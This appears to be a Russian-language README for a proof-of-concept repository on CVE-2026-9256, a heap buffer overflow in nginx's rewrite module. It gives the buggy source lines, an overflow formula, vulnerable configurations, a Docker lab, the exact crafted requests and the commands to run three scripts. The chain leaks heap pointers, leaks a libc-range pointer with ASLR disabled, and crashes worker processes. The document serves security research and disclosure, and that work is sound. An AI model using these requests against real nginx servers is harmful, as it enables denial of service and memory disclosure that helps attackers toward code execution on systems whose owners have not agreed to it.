
Демонстрирует переполнение буфера в куче CVE-2026-9256 в ngx_http_rewrite_module nginx с PoC-скриптами для утечек кучи/libc и сбоя рабочего процесса.
nginx Plus и nginx Open Source ngx_http_rewrite_module содержат уязвимость переполнения буфера в куче. Когда директива rewrite использует регулярное выражение с несколькими перекрывающимися группами захвата PCRE (например, ^/((.*))$) и замену, ссылающуюся на несколько захватов (например, $1&y=$2), вычисление размера буфера статического пути занижает необходимый объём памяти, в результате чего фактическая запись превышает выделенный размер (Pool Slip).
Неавторизованный злоумышленник может вызвать это с помощью специально сформированного HTTP-запроса, что приводит к переполнению буфера в куче в рабочем процессе. Если ASLR отключён или может быть обойдён, возможно выполнение кода.
Файл: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// ОШИБКА: издержки экранирования считаются один раз для всего URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // исходная длина
}
}
Каждый $N экранируется независимо во время копирования (ngx_http_script.c:1397-1401). Вложенные захваты приводят к двойному экранированию одной и той же подстроки, удваивая стоимость экранирования, но при выделении памяти это учитывается только один раз.
Формула переполнения (2-уровневая вложенность ((.+)), длина URI = Q (+ символов)):
выделено = code_size + 2*Q + 2*(Q+1)
фактически = code_size + 2*(3*Q + 1)
переполнение = 2*Q (точно управляемо)
Условия срабатывания (требуются все три):
.
├── env/
│ ├── Dockerfile # На основе nginx:1.31.0
│ ├── docker-compose.yml # Конфигурация контейнера (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR включён (по умолчанию)
│ ├── entrypoint_aslr_off.sh # ASLR выключен (для libc_leak)
│ └── nginx.conf # Уязвимая конфигурация
├── heap_leak.py # PoC heap_leak
├── libc_leak.py # PoC libc_leak
├── crash_verify.py # PoC crash_verify
├── LICENSE
└── README.md
cd env/
# Загрузить базовый образ (~200MB)
docker pull nginx:1.31.0
# Собрать и запустить
docker compose up --build -d
# Проверка
curl -s http://127.0.0.1:19321/
# Ожидается: ok
# Просмотр логов nginx (информация о сбое)
docker compose logs -f
# Остановить и удалить
docker compose down
# Перезапустить (после сбоя)
docker compose restart
Проверка текущего состояния:
cat /proc/sys/kernel/randomize_va_space
# 0 = выключен, 1 = частичный, 2 = полный
heap_leak и crash_verify работают независимо от ASLR. libc_leak требует отключения ASLR на хосте:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
Альтернативно, отключите ASLR только для процесса nginx (без привилегий на хосте):
скопируйте entrypoint_aslr_off.sh поверх entrypoint.sh, затем docker compose up --build -d.
Примечание: контейнеры используют ядро хоста.
randomize_va_spaceдолжен быть установлен на хосте.
Требуемая конфигурация:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
Механизм: Pool Slip приводит к тому, что ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) попадает в зону переполнения. Инициализированные поля движка скриптов (e->ip, e->sp, e->request) просачиваются в строку запроса переписанного URI и отображаются через return 200 "$arg_y".
Запрос:
GET /echo/%25%25%25%25%25A HTTP/1.0
Подтверждённый результат (nginx:1.31.0, ASLR включён):
e->ip = 0x00006544dec82430 (массив кодов пула конфигурации)
e->sp = 0x00006544dec5ada0 (стек скриптов пула запросов)
e->request = 0x00006544dec58880 (структура запроса)
Что утекает: Необработанные указатели кучи в адресном пространстве рабочего процесса nginx.
PoC: heap_leak.py
Требуемая конфигурация:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # должен быть доступен
add_header X-Leak-Y "$arg_y" always;
}
Механизм: proxy_pass запускает инициализацию вышестоящего сервера. Структуры вышестоящего сервера, содержащие указатели на библиотечные функции, размещаются в зоне переполнения. add_header "$arg_y" записывает необработанные байты в заголовок ответа.
Запрос:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
Подтверждённый результат (nginx:1.31.0, ASLR выключен, request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
Что утекает: Необработанный указатель в диапазоне 0x7f... (область загрузки libc). Чтобы вычислить базовый адрес libc, прочитайте /proc/<pid>/maps на целевой системе и вычислите leaked_ptr - libc_base.
Зависимость от ASLR: Этот этап требует выключенного ASLR. Утекший указатель происходит из метаданных освобождённого блока (fd/bk → main_arena). При включённом ASLR смещение освобождённого блока варьируется, и небольшие переполнения не могут надёжно до него добраться.
PoC: libc_leak.py
Более простой альтернативный метод: Использование режима
redirect(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), заголовокLocationнапрямую выводит необработанные байты переполнения без проблем с кодировкой символов. Один запрос может привести к утечке указателей кучи (Q=10~450) или вызвать сбой (Q >= 500), без необходимости в proxy_pass или специальном pool_size.
Требуемая конфигурация:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
Механизм: Вложенность 9 уровней даёт переполнение = 16Q (против 2Q для 2 уровней). При request_pool_size=7920, Q=123 выходит за границу блока пула, перезаписывая метаданные соседнего блока malloc. glibc обнаруживает повреждение и завершает рабочий процесс. Мастер автоматически перезапускает.
Запрос:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
Подтверждённый результат (nginx:1.31.0, request_pool_size=7920):
Q=122: нормальный ответ (переполнение=1952B)
Q=123: нет ответа, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Воспроизведено 5/5 раз.
Вложенность vs pool_size: N уровней дают переполнение = (N-1)*2*Q. Значение pool_size по умолчанию 4096 с 9 уровнями вложенности достаточно для сбоя. Больший pool_size требует меньшего количества уровней для заданного Q.
PoC: crash_verify.py
# Этап 1: Утечка указателя кучи
python3 heap_leak.py 127.0.0.1 19321
# Этап 2: Утечка указателя диапазона libc (требуется выключенный ASLR)
python3 libc_leak.py 127.0.0.1 19321
# Этап 3: DoS-сбой
python3 crash_verify.py 127.0.0.1 19321
Данное доказательство концепции предоставлено исключительно для образовательных целей и целей авторизованного исследования безопасности. Несанкционированное использование запрещено.
| Условие | Подробности |
|---|
Нет именованных переменных, нет повторяющихся $N | Статический путь (sc.variables==0 && !sc.dup_capture) |
| Вложенная группа захвата в регулярном выражении | Например, ((.+)) делает $1 и $2 совпадающими с одинаковым содержимым |
+ или %XX в URI | Запускает путь экранирования (plus_in_uri или quoted_uri) |